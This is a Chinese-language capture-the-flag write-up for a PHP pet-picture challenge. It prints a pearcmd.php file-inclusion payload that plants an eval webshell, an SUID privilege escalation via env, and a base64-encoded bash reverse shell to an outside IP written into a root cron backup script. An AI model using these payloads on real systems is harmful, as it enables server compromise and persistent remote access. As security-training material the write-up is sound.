访问web
有个view参数,测试发现,view参数里必须带有dog或者cat字符串,然后会在view参数值后面添加.php
是使用include进行的文件包含
这里可以发现include_path='.:/usr/local/lib/php'
就是说,include函数包含的文件只能是当前文件夹和/usr/local/lib/php
文件中的文件
可以尝试使用pearcmd.php来生成shell
从题目描述来看,这个web环境是在docker里的
I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.
所以可以进行利用
payload
1 | /?view=/usr/local/lib/php/dog/../pearcmd&+config-create+/<?=@eval($_POST['cmd']);die()?>+/var/www/html/shell.php |
但是他会把<
进行url编码,导致不会被解析为php文件
这里需要使用burp发包,直接使用浏览器的话,他会自动进行url编码
然后访问shell.php获得shell
得到flag1
使用蚁剑连接,查找有suid位的文件进行提权
find / -user root -perm -4000 -print 2>/dev/null
先弹个shell,之前忘了,这里是无法提权的,因为没有进行交互
直接上传php-reverse-shell,然后访问
得到shell
使用env /bin/bash -p
进行提权
得到flag3
flag2
使用命令cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
可以发现,当前环境为docker
那么就是要docker逃逸了
使用容器逃逸检测脚本container-escape-check
存在两个逃逸漏洞
查看这篇文章https://wiki.teamssix.com/CloudNative/Docker/CVE-2021-22555.html
发现打不成功
看了别人的wp,是去找/opt/backup
目录
可以发现里面有个backup.sh
,可能会定期执行
所以重写一下这个文件
1 |
|
要在root权限下重写
1 | echo IyEvYmluL2Jhc2gKL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjExLjM1LjQvOTk5OCAwPiYx | base64 -d > /opt/backups/backup.sh |
等待,然后获得shell
得到flag4
emmm,怎么跟我想象的docker逃逸不一样